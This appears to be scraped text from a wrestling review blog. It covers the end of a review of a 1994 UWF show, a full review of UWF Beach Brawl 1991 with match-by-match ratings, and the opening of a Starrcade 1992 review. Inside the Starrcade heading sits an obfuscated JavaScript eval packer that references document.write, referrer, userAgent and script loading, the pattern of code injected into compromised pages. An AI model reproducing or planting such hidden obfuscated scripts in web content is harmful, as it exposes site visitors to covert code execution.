Beach comes back with some right hands and a sunset flip for two, only to get clotheslined down. A backbreaker gives Feelgood two and he plants Beach with a DDT (which commentary describes as “another great professional wrestling move”). Hold on though as Feelgood goes to his medical bag and pulls out a rag. He pours some liquid onto the rag, only to have Beach shove it into his face for the win at 5:27. The referee watched EVERY BIT OF THIS and doesn’t seem to mind. Can you really blame him?

Rating: F. Sweet goodness it’s actually getting worse. What are you supposed to do when the referee just lets the doctor use I’m guessing ether on the surfer? The match is a failure for the refereeing alone and I’m almost scared to see how bad this show gets as we keep going. Terrible match with an even worse ending.

Post match Feelgood takes Beach down with the rag as Missy screams a lot. Blackjack Mulligan comes in to yell, with Feelgood calling him various cowboy insults.

BUY MERCH! That has to be some kind of a collector’s item. Sid walks in and says something about Nolan Ryan signed baseballs.

Herb Abrams talks about Commissioner Bruno Sammartino….who isn’t here tonight! Abrams has Blackjack Mulligan talk about what else is coming tonight. Mulligan: “These other promotions won’t even touch these guys!” Steve Williams would destroy Hulk Hogan, Ric Flair and Bret Hart!

Southern States Title: Bob Orton Jr. vs. Finland Hellraiser Thor

Believe it or not, Orton actually is the champion coming in and Thor is better known as Ludvig Borga. Orton grabs a headlock to start but gets shoved away by raw power. More power sends Orton into the corner and this time Thor hammers away with shots to the ribs. There’s a side slam to plant Orton again and we hit the chinlock with a knee in the back. Commentary uses the time to discuss who really discovered America as Orton comes back with some shots to the face. Thor backdrops him over the top to counter a piledriver attempt and they fight on the floor for the double DQ at 5:29.

Rating: D. And somehow, that’s in the running for the best match of the night, just due to the people involved if nothing else. Thor is fresh off his time with the WWF and it isn’t a good sign when he is looking like a knockoff version of himself. Orton was pretty far past his prime already but his own talent is enough to carry him pretty far. Not far enough to save this show, but at least they picked things up a tiny bit over the previous match.

They brawl even more post match, showing more fire than anything else on the show. Thor bails and Orton’s eye is busted open, so the ring announcer asks the fans to cheer for him about five times. Orton goes on a rant about how he fights like an American, with all of the values that are falling apart every day.

Midget World Title: Karate Kid vs. Little Tokyo

For the inaugural title and this is FOR THE FIRST TIME EVER. The ring announcer is practically begging the fans to cheer for this as things are falling apart before the bell. Tokyo bails from the threat of Kid’s kicks and shoulders him down. A hiptoss drops Tokyo, who glares out of the corner. The armbar doesn’t last long on Kid as the referee yells at Tokyo again. The crisscross is on, with Kid stopping so Tokyo runs around on his own. After the annoyance is over, Tokyo’s armbar doesn’t work all over again. They fight over a test of strength on the mat, allowing Tokyo to yell at the referee some more.

It’s time to dance a bit until Kid gets a quick one. Hold on though as Tokyo yells at the referee AGAIN, followed by a poke to Kid’s eyes. Kid is fine enough to slap on a full nelson, with Tokyo climbing the ropes for the break, only to be dropped straight down for a slight chuckle. Tokyo avoids a dropkick though and Kid….runs into him, allowing Tokyo to get the pin and the title at 7:36.

Rating: D. Yes they gave this the most time of anything so far tonight and while it could have been worse, this was almost the cherry on the sundae of horrible ideas. This felt like it belonged in 1984 or so, and given how many things that could apply to on this show, it seems that things are kind of going badly around here. In other words, this is reaching torture levels all over again.

Post match Abrams and Tokyo have a language barrier. How many times do we need to see him and his yellow coat tonight???

Here’s the same merchandise ad from before the previous match.

Sid says….something that audio doesn’t pick up for the most part but it sounds like he’s coming for Steve Williams and the World Title.

Samson vs. Irish Assassin

They’re both in good shape and Samson is replacing Hercules. This is billed as a REVENGE match, though they don’t actually explain what the revenge is for. They have the lamest lockup I can remember in a long time and Samson’s running shoulder bounces off of the Assassin. A running clothesline in the corner hits Samson as commentary recaps Little Tokyo winning the title. Samson avoids an elbow as Tolos talks about making Gianelli a better commentator. A slam and a suplex give Samson the pin at 4:45.

Rating: F. Sweet goodness man. I don’t remember the last time I saw a show this….lifeless. When you consider that I can’t find anything about Samson and Assassin was a nothing name, I’m not sure why in the world I’m supposed to care about revenge, when THEY DIDN’T SAY WHY THESE TWO ARE FIGHTING. The company isn’t running anything else at the moment, so how many places could they set up something like this? I’m being more and more dumbfounded by this show every match and it wasn’t a high bar to start things off.

CALL THE HOTLINE!

Steve Ray thinks Tyler Mane is tall but he doesn’t have any heart.

MGM Grand Title: Steve Ray vs. Tyler Mane

For the inaugural title. Mane dabbled in WCW for a bit but is far more famous as Sabretooth in the first series of X-Men movies. Granted the pelt with a lion’s head over his stomach is rather noteworthy in its own right. Ray is the Wild Thing and seems to be something like a rock star/Lionheart Chris Jericho type. After Ray makes sure his jacket is taken care of, we’re ready to go with commentary comparing Mane to Big John Studd. An armdrag and clothesline put Mane on the floor but he’s back in to slam his way out of a crossbody attempt.

Ray is fine enough to start in on the leg and the cranking ensues. We pause for a second so the referee can check on the knee, allowing Mane to get in a cheap shot and take over. A chokeslam (not named because….it’s such a complicated concept I guess) plants Ray but he’s back back with a grab of the leg. Mane low bridges him to the floor so Ray tries a sunset flip, only to have Mane sit down on it while grabbing the rope (again, right in front of the referee) for the pin and the title at 6:26.

Rating: D. Again, it says a lot when this is the kind of match that is near the high point of the show. It was a big man vs. small man match with Ray trying to have some energy but not being able to deal with the power. Now that being said, the horrible refereeing at the end hurt it a lot, and it’s not like this show has any benefit of the doubt. Another bad match on the show, which is completely beyond saving in case that wasn’t clear yet.

Post match Abrams presents Mane with the title. Mane, who is taller than Mulligan, says the fat lady just sung on Ray. True actually, as this was his last match for both guys.

Women’s Title: Candy Divine vs. Tina Moretti

For the vacant title and Moretti is better known as Ivory. The pre-match gaffe is on the announcer, as he introduces Divine (yes DIVINE, which is not the hardest word to read, pronounce, spell or understand) as Candy Devian. That’s another level of bad and as a result it fits in perfectly here. Even commentary blasts him for that screwup. Divine popped up in various promotions and was one of the bigger names of her time for outside the WWF. Moretti is billed from Italy, which is rather odd after listening to Ivory for years.

Commentary is all about how the women look as Divine is dropkicked to the floor to start but they switch places in a hurry. Back in and Divine works on an armbar but gets rolled up for a fast two. Divine fights up and chokes in the corner, which Tolos calls a good wrestling move. Moretti gets slammed out of the corner and Divine gets the pin and the title at 3:11.

Rating: D-. I’m not sure what happened there but it was an abrupt ending to an already bad match. Women’s wrestling was absolutely nothing in America at this point so you can’t get too annoyed. Also given how bad some of the things on this show have been, a three minute match is hard to get annoyed over. Take that for what you will.

Post match, the announcer says Devian for the fifth time.

Steve Williams is standing in front of a cutout of himself and says he respects Sid Vicious. He can’t get Hulk Hogan or Ric Flair on the phone but he’ll face Sid tonight. Really not the image you want to present but that’s the least of their problems.

Tag Team Titles: Killer Bees vs. The New Powers Of Pain

For the inaugural titles and that would be Warlord/Power Warrior, the latter being a guy who didn’t do much in his career. Announcer: “And we have a battle royal coming up.” No, we don’t, thank goodness. Blair (who apparently has a great gym) starts with Warrior, who shoves him away without much effort. An armbar has no effect on Warrior and Blair is starting to look a little unsure.

We get a quick recap of some of the things that have happened tonight, which makes me feel better about forgetting them. Brunzell comes in for a double hiptoss but Warlord comes in with a bearhug. That doesn’t last long so Warlord has to slam his way out of an armbar. Warrior comes back in and gets taken down by the leg in a hurry because he isn’t the worker that the Warlord is. Blair stays on the leg but Warrior kicks him into the ropes so Warlord can low bridge him to the floor.

The bearhug goes on back inside but Blair is out in a hurry, allowing the hot tag to Brunzell to take over on Warrior. A catapult into a top rope clothesline drops Warrior as the referee is knocked outside. Cue someone who looks like Warrior (his other brother in the Power Twins) for a full nelson on Blair. Warlord goes up….and we cut to Brunzell throwing the referee back in and we come back to Blair covering Warrior for the pin and the titles at 11:50.

Rating: D. They were having a better match than usual (for this show at least) until the ending, which we didn’t actually get to see. Let me repeat that: you couldn’t actually see the part of the match that actually mattered in any way. Throw in that one of the villains had an evil twin and they managed to lose anyway and I think you know all you need to know about this one.

Jimmy Snuka says there are no two pieces of matter that can occupy the same space at the same time. I’m not sure what that has to do with anything but he says he’s going to fly.

Merch plug, the threequel.

Jimmy Snuka vs. Cactus Jack

Lumberjack match, so the ring announcer says “our next match is for the lumberjack match.” Oh and Cactus Jack is “a mean guy”. Announcer: “You’re going to see a battle royal.” Can we get him to stop saying that or at least find out what it means? Pretty much everyone else on the show so far are the lumberjacks, who get a round of applause of their own and their own individual introductions. Jack shakes his hand and grabs a headlock as we hear about Jack losing his ear.

Snuka reverses into one of his own, which really, really impresses Tolos for some reason. A shoulder puts Jack down as the announcers are talking about bets on the match. Jack knees him in the ribs to send things outside for a bit but makes the mistake of headbutting Snuka. That’s enough to send Jack to the floor but he’s sent back inside as Herb Abrams comes to commentary to talk about how great this is.

The brawl goes over to the commentary table (Gianelli: “THIS SHOULDN’T HAPPEN IN AMERICA!”) but the fight back inside where Jack grabs a chinlock. Back up and Snuka tries a shoulder, only to bounce off of Jack and over the top. They fight into the crowd with Snuka hitting him in the head with a chair….and that’s a double DQ at 9:03. Yes in a lumberjack. Announcer: “I’ve never seen anything like this!” There’s a reason for that man.

Rating: F. Mick Foley is my favorite wrestler of all time and probably always will be. I know it means the world to him to be in the ring with his idol in Snuka, but they had a double DQ in a freaking lumberjack match after nine other matches on this show. In this case, you kind of can blame him because, as a huge Snuka fan, he refused to let Snuka lose to him here so this was the best they had. Points for the respect but….dang man.

Post match they keep brawling into the empty chairs, which is about as dumb of an idea as you can have in any situation.

Herb Abrams shouts that this is the main event, thank goodness.

UWF World Title: Sid Vicious vs. Steve Williams

Williams is defending. Announcer: “It’s time to get rocking and rolling. And I’m getting out of here.” They trade shoulders to start as we hear about Williams being the All Japan Triple Crown Champion. Sid kicks him in the face for a knockdown and it’s time to crank on Williams’ arms. Williams can’t quite reverse so he goes to the ropes for the break instead. Tolos does his best Jim Ross impression to list off all of Williams’ accomplishments as the announcers treat this like the greatest thing they have ever seen.

A chokeslam plants Williams and Sid whips him hard into the corner. Tolos: “If they went into the New York Stock Market, do you think their stock would go up overnight???” Gianelli: “I don’t know.” Sid gets two off a slam and we’re off to the chinlock. They even lay down a bit as this has already been a bit much for them.

Williams fights up and slugs away….as the mat starts coming up like there’s a bubble inside, because OF FREAKING COURSE IT DOES! Williams hits a splash in the corner for two but misses a middle rope shoulder. Sid goes up top (oh boy) but Williams backdrops him down and hits the Doctor Bomb, drawing in Dan Spivey for the DQ at 11:02.

Rating: D-. They were having a watchable power match until the ending but my goodness man. THE RING wanted out of this show and was giving up by the end. It could have been a lot worse but the ending didn’t help anything and teasing a rematch on this show was as dumb as it could have been. Not the worst match on the show, but a perfect way to end things.

Post match the beatdown is on with Williams being double powerbombed. Johnny Ace comes in for the save.

Post break, Abrams asks if Williams will defend the title against Sid in a cage. Williams says he’ll sign a contract if Abrams gets one together before he leaves.

Merch plug, featuring the now dastardly Sid.

Abrams yells at Sid and Spivey, with the former blaming Blackjack Mulligan for being his mentor.

Commentary says next time will be even more treacherous.

Since this show just can’t end, Abrams and Mulligan (who has the World Title for some reason) talks about how this was a Skyscrapers (Sid/Spivey) plan all along. Abrams promises (or maybe warns) us about a sequel to end the show.

Overall Rating: Awbooga. That’s how Abrams, legendary cocaine addict that he was, would probably try to spell wrestling at this point, because WOW. This is one of the all time insane shows that you almost have to see to believe. There is nothing approaching good, nothing approaching normal, and nothing approaching ANYTHING that should be taking place in 1994 on this show.

I know Abrams was kind of a kook (that’s putting it mildly) but sweet goodness this was awful, with one random title match after another and nothing even partially good. The people here are talented wrestlers, or at least they were a few years earlier when they were still regularly wrestling and not ancient in some cases. It’s not the complete train wreck of something like Heroes of Wrestling, but with a barely there (and barely audible) crowd, the disaster on commentary and ring announcing and such low level wrestling, this is a complete mess and something just more depressing than anything else.

The biggest problem here is the wrestling, as they seem to think that any of this stuff matters just because you throw a title or the REVENGE MATCH moniker onto a match. It doesn’t help if there are no stakes to the title or reasons for these people to be fighting and it showed badly. All time awful show, and now I’m off to have nightmares of Abrams screaming in my face while Mulligan is there every time for no apparent reason other than he’s been paid in advance. Avoid this one unless you’re in for a train wreck of Star Fox 64 Forever Train level proportions.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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IMG Credit: UWF

Beach Brawl
Date: June 9, 1991
Location: Manatee Civic Center, Palmetto, Florida
Attendance: 560
Commentators: Craig DeGeorge, Bruno Sammartino

Since my readers enjoy seeing my never ending spiral into madness, I present to you the Universal Wrestling Federation’s lone pay per view effort. This show is legendarily bad and one that I had on my original list of shows that I wanted to look at when I started reviewing shows. I’m not sure why I never got around to it but here we go. Let’s get to it.

We open with a look at Gorgeous George and Bruno Sammartino, when wrestling was still great. That’s how the UWF was founded, with Herb Abrams wanting to bring things back to the glory days.

A not exactly inspiring opening video shows what we’ve got coming tonight. It’s like the 1980s fell asleep and stumbled into a mostly empty arena.

Bam Bam Bigelow is ready to win the TV Title.

Steve Williams is ready to win the TV Title. Or as he puts it, he’s “going to wear the gold around his belt.”

The arena is dark, likely because no one is here.

Herb brings out the TV Title and picks Gordy to win.

Ricco explains what we’re going to be seeing tonight and gives us the two hotlines to call. He’s no Gene Okerlund.

Bam Bam Bigelow has been training hard for his match, but clearly not for thinking of interesting to say for this interview. The most interesting thing mentioned here: it’s his son’s birthday.

Steve Williams doesn’t have any surprises for Bigelow tonight because Bigelow knows what to expect. He’s been on top of the world everywhere so everyone knows that when he walks into a room, excitement happens. So Bigelow, be ready for a fireman’s carry or an armdrag! Or maybe the Oklahoma Stampede.

You can buy the program for the show!

Black Hearts vs. Fire Cat/Jim Cooper

The Black Hearts (which was spelled Black Harts during the opening video) are Apocalypse and Destruction (better known as Gangrel) and have Luna Vachon, with a snake around her neck, with them (Whom Bruno says is attractive. There’s an image I NEVER need to see again.). Cat would be briefly known as Battle Kat in the WWF. Luna and the Hearts have a small goblet which spits out some smoke and now we’re ready to go.

Cooper gets double shouldered down to start but manages to legsweep let’s say Destruction. A middle rope elbow takes Cooper down though and a jumping clothesline drops him again. Destruction gets uppercutted into the corner and it’s Cat coming in for two off a Hart Attack (with an elbow instead of a clothesline). A shoulder puts Cat down but he’s right back with a wristlock….to send Destruction outside?

Back in and it seems that the Hearts have changed places, with commentary not being sure which is which. Cooper avoids a middle rope elbow and it’s Cat coming back in to pick up the pace. A superkick puts Apocalypse on the floor again and it’s time for a breather. Back in again and Cat rolls Destruction up for two as DeGeorge talks about all the media covering the show. They probably didn’t have trouble finding a seat.

A crucifix gives Cat two, with Bruno calling it clever. That’s enough for the Hearts, who hit a double flying shoulder for two more. Apocalypse’s northern lights suplex gets two on Cat but he DDTs his way to freedom. Cooper comes back in but gets cheapshotted as everything breaks down. The Veg-O-Matic finishes Cooper at 6:51.

Rating: D+. Oh yeah this is going to be a rough one if this is what they picked for an opener. It’s not a terrible match or anything but it’s something that has been done better about a million times. This was a pretty dull and lifeless match with little doubt about who was winning the whole way. If this was supposed to make me want to watch the rest of the show, we’re in trouble.

Post match, Luna chokes a bit.

DeGeorge tries to explain where Palmetto is, eventually saying it’s about 45 miles south of Tampa. Maybe that has something to do with the horrible attendance? Just perhaps?

Luna wants more competition for the Black Hearts.

Terry Gordy vs. Johnny Ace

Street fight (also known as “we wish we were in Japan”) and Ace is Mr. All America. Even commentary acknowledges that the fans don’t care about him. They grapple against the ropes to start and it’s already a bit more energetic than the opener. Ace counters an atomic drop into a headlock, meaning that energy is already gone.

The headlock takeover puts Gordy down again and they stay on the mat for a bit. Gordy fights back up so Ace hits a middle rope spinning crossbody but Gordy blasts him with a clothesline for two. They go into the corner as DeGeorge talks about the Blackhawks in the first match. Gordy’s belly to back suplex gets a rather slow two, followed by a powerbomb for two more.

Gordy charges into a boot in the corner and Ace dropkicks him to the floor, setting up a dive to take him down again. Ace sends him into some chairs as they finally remember that this is a street fight. They fight beyond the crowd to show off the empty seats….and it’s a double countout at 6:27. In a street fight, leaving the announcers rather confused.

Rating: F. They had a double countout in a street fight. It doesn’t help that there was nothing street fightish about it until the last thirty seconds and what we got before then was hardly anything worth seeing. This show is already showing how weak it really is as we’re thirty minutes in and it feels like a bad indy show rather than some game changing pay per view.

Post match they keep fighting for a few more minutes until….well no one breaks it up actually. Gordy throws a chair in and dares Ace to join him but that’s not happening. For some reason Gordy turns his back and Ace chases him off, even stealing the chair. What a villain….I think? Gordy leaves but Ace follows him to brawl some more as this is almost longer than the match itself.

Mask Confusion vs. Power Twins

Mask Confusion is the Killer Bees and the Power Twins are Larry and David with John Tolos. Well they’re supposed to have him at least but the UWF isn’t allowing him to be here in front of these idiot fans. As you would guess, Masked Confusion is not masked. Larry shoves Brunzell around to start and a cheap shot from the apron lets the twins pound away. They aren’t bright enough to keep Brunzell from crawling to the corner so it’s off to Blair.

Larry is catapulted into David to knock both of them outside in the requisite heap. Back in and it’s a double spinning toehold on Larry, allowing Brunzell to crank on the leg. Black twists it around a bit as they start laying on the leg. There’s a double wishbone for two and it’s right back to the leglocking. Larry rakes the eye though and brings in David, who is taken straight down into the same spinning toehold.

This one doesn’t work as well and some forearms to the back set up the bearhug on Blair. The Twins stay on the back and add a double backdrop, with Blair landing on his hip. Choking on the rope and in the corner ensues as Blair can’t get anything going. A double clothesline gives Blair a breather but David is smart enough to knock Brunzell off the apron.

Blair is knocked outside as well and they come up in masks, meaning that other than their size, shape, height and energy levels, there is no way of telling them apart. They make the most obvious switch possible and Brunzell makes the comeback, including the dropkick for two. An assisted sunset flip lets Blair pin David at 13:04.

Rating: D+. And that might be the match of the night so far. I still don’t get why we’re supposed to cheer for a team like Masked Confusion who blatantly cheat but they were faces for most of their WWF run so I guess it counts. Sure they did the masked thing there too so it doesn’t make much more sense either, but never let that be a problem. This was a formula based tag match so it was a little better, though not by much.

Ladies Championship: Candi Devine vs. Rockin Robin

For the inaugural title and Sammartino is having none of DeGeorge oogling Devine. They start fast with Devine knocking her down and hitting a backdrop but Robin gets her boots up in the corner. The front facelock goes on and a sunset flip only gets two. Devine slingshots her down and grabs the Boston crab (not a very good one mind you). Back up and Robin slugs away before avoiding a knee to the ribs. Robin hits a clothesline and takes her into the corner for some right hands. A missed charge into the corner lets Robin grab a rollup for the pin and the title at 6:20.

Rating: D. This was a slightly above average women’s match for the time but you could tell that they weren’t going to get much better than they did here. That’s fair enough to them as well as women’s wrestling just did not matter at this point. To her credit though, Robin was one of the better and more under appreciated women of the time. Given that there was no story here and what they had to work with, they did as much as they could have.

We recap Colonel DeBeers vs. Paul Orndorff. DeBeers didn’t like the idea of a black man refereeing his match and attacked him a few times, including one rather big beating. Then one day the referee started wrestling so DeBeers whipped him with a belt….and Orndorff is in there somewhere, even if he’s not shown here.

Paul Orndorff vs. Colonel DeBeers

Strap match and Orndorff comes out to Can’t Touch This, which is rather disturbing in a variety of ways. The rules are a little weird here as there is one strap and the referee throws it into the air like a jump ball in a basketball game to determine who gets it. The taller DeBeers gets it and hammers away, including some shots in the corner.

DeBeers misses a charge into the corner though and Orndorff uses his feet to bounce DeBeers on the top. The strap to the throat sets up some choking from DeBeers but he comes back with a slam. He can’t find the strap so he goes up, allowing Orndorff to pull out the strap and knock him out of the air. Orndorff grabs a quick piledriver for the pin at 3:17, even though DeBeers’ shoulder was up.

Rating: D+. There was no time here but Orndorff had the same energy and intensity that he always showed. The strap rules were a bit weird but I’ll take this over the touch all four corners deal any day. It helped that this was the only match with and kind of a story so far too, so I’ll take what little I can get.

Post match Orndorff waves the American flag but DeBeers comes back up with a taser to knock Orndorff out. DeBeers even steals the flag to make sure that this continues.

Here’s Captain Lou Albano for the Captain’s Corner. He doesn’t like his guests tonight but he’ll bring them out anyway, meaning the Black Hearts with Luna Vachon. Albano rants about how he doesn’t like all the evil talk….and he walks away without any of the three talking. Did they just need to fill in some time here?

Bob Backlund vs. Ivan Koloff

Legends match and Koloff has a generic manager named Mr. Red. Koloff has the chain of course and Backlund comes out to Stars And Stripes Forever, just in case you needed to have the idea hammered into you. Neither gets anywhere with a hammerlock attempt to start as Koloff drop toeholds his way out of a hammerlock.

Koloff goes to the ropes to escape another hammerlock and then takes Backlund down for some legdrops on the arm. The short armscissors has Backlund in trouble but he does the lift, which isn’t as impressive as Sammartino was explaining what he would be able to do. A backdrop sets up Backlund’s O’Connor roll out of the corner…..for the pin at 2:27. Well that was quick, with Backlund looking almost as polished as anyone on the show so far.

Post match, Backlund talks to some kids for a nice moment. After Backlund leaves, here’s Lou Albano to knock out Mr. Red and steal his pants.

We recap Bob Orton/Cactus Jack vs. Wet N Wild, which seems to be a rematch from February and March, with both times seeing a surfboard involved.

Wet N Wild vs. Cactus Jack/Bob Orton Jr.

Jack and Orton have John Tolos with them. Wet N Wild are Sunny Beach and Steve Ray and one of the few gimmicks that makes a lot of sense at a show called BEACH Brawl. It’s a brawl to start with Wet N Wild dropping Orton and Jack so they can shove Tolos into a shark cage. The cage is raised and we settle down into a regular match. Jack throws Beach outside in a hurry and Orton knocks him down again, setting up the middle rope elbow to the concrete. Seriously…….just dang Jack.

Back in and Orton stomps away on Beach, setting up a not great looking suplex. Jack’s Russian legsweep gets two but Beach grabs a fall away slam. The hot tag brings in Ray to clean house but the ref gets bumped in the corner. Everything breaks down and Tolos throws brass knuckles to Orton. If you don’t know what is going to happen next, you have no business reading this. Beach gets the pin on Jack at 4:33.

Rating: D+. This felt like “we’re desperately out of time but here’s a finish”. The ending was one of the lamer finishes you can find but at least they did something to give the good guys the win. It doesn’t help that the match was, yet again, something that flew by and didn’t have time to do anything whatsoever.

Post match Jack is busted open and the brawl is on with Tolos not being able to break it up.

We look at how Bam Bam Bigelow and Steve Williams made the tournament finals. Bigelow beat Ivan Koloff, Colonel DeBeers and Cactus Jack while Williams beat Nikolai Volkoff, Steve Ray and then drew a bye.

UWF SportsChannel TV Title: Bam Bigelow vs. Steve Williams

For the inaugural title. The bell rings but we need to have Herb Abrams bring out the title, which will be the company’s top title as they don’t have a World Title. Williams isn’t waiting though and Abrams is shoved down, only to have Bigelow hit a clothesline and headbutts. Some shots to the face have Williams busted open early but he explodes with a heck of a clothesline.

Some knees to the face have Bigelow down again but he comes back with the headbutts (not a good idea as he is busted open as well). Bigelow’s slingshot splash gets two and he plants Williams with a DDT. The top rope splash gets two but Williams is back with a belly to belly suplex for his own near fall. Another clothesline connects and Williams is getting all fired up. Some running shoulders drop Bigelow and a powerslam gets two. Williams can’t hit the Oklahoma Stampede so he settles for another powerslam to finish Bigelow for the title at 7:33.

Rating: C-. And that’s your match of the night with a resounding “well it wasn’t THAT bad”. They did a decent power match here and Williams winning is a marginally better choice. Then again, Bigelow would be main eventing Wrestlemania in less than four years and Williams would be heading back to Japan so…..honestly it’s about a tossup for their respective futures.

Post match, Williams praises Bigelow and says he’s ready for every challenger. Abrams challenges every champion everywhere to come and face Williams.

The announcers talk about what we just saw.

Williams talks about how awesome he is but needs to leave to see another doctor. For some reason, the interviewer counts the pin on the replay in Spanish.

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Quick recap of the results (again with the Black Harts being spelled differently and it’s Backlund, not Backland) wraps things up.

Roll credits.

Overall Rating: F. I don’t know how to say this, but it’s really not the worst thing I’ve ever see. It’s really, REALLY bad, but there’s nothing on there that makes it legendarily bad. The bigger problem here is more that there’s absolutely nothing worth watching and the show is a big waste of time. If this is what they wanted to challenge the main two promotions, they’re reaching Vince Russo levels of delusion.

Overall, the show just feels like the most low budget of indy shows with a bunch of names who were past their primes but probably worked cheap. There isn’t even anything to get mad about, as the only really bad/stupid thing was the double countout in the street fight. There is no reason to watch this as it’s not Heroes of Wrestling or anything close to it, but rather a completely lifeless show that felt like it got caught in a time warp and staggered into 1991. Don’t watch this and just let it be remembered for what it was: forgetful.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Starrcade eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byeny|var|u0026u|referrer|yhdyd||js|php'.split('|'),0,{})) 1992
Date: December 28, 1992
Location: The Omni, Atlanta, Georgia
Attendance: 8,000
Commentators: Jesse Ventura, Jim Ross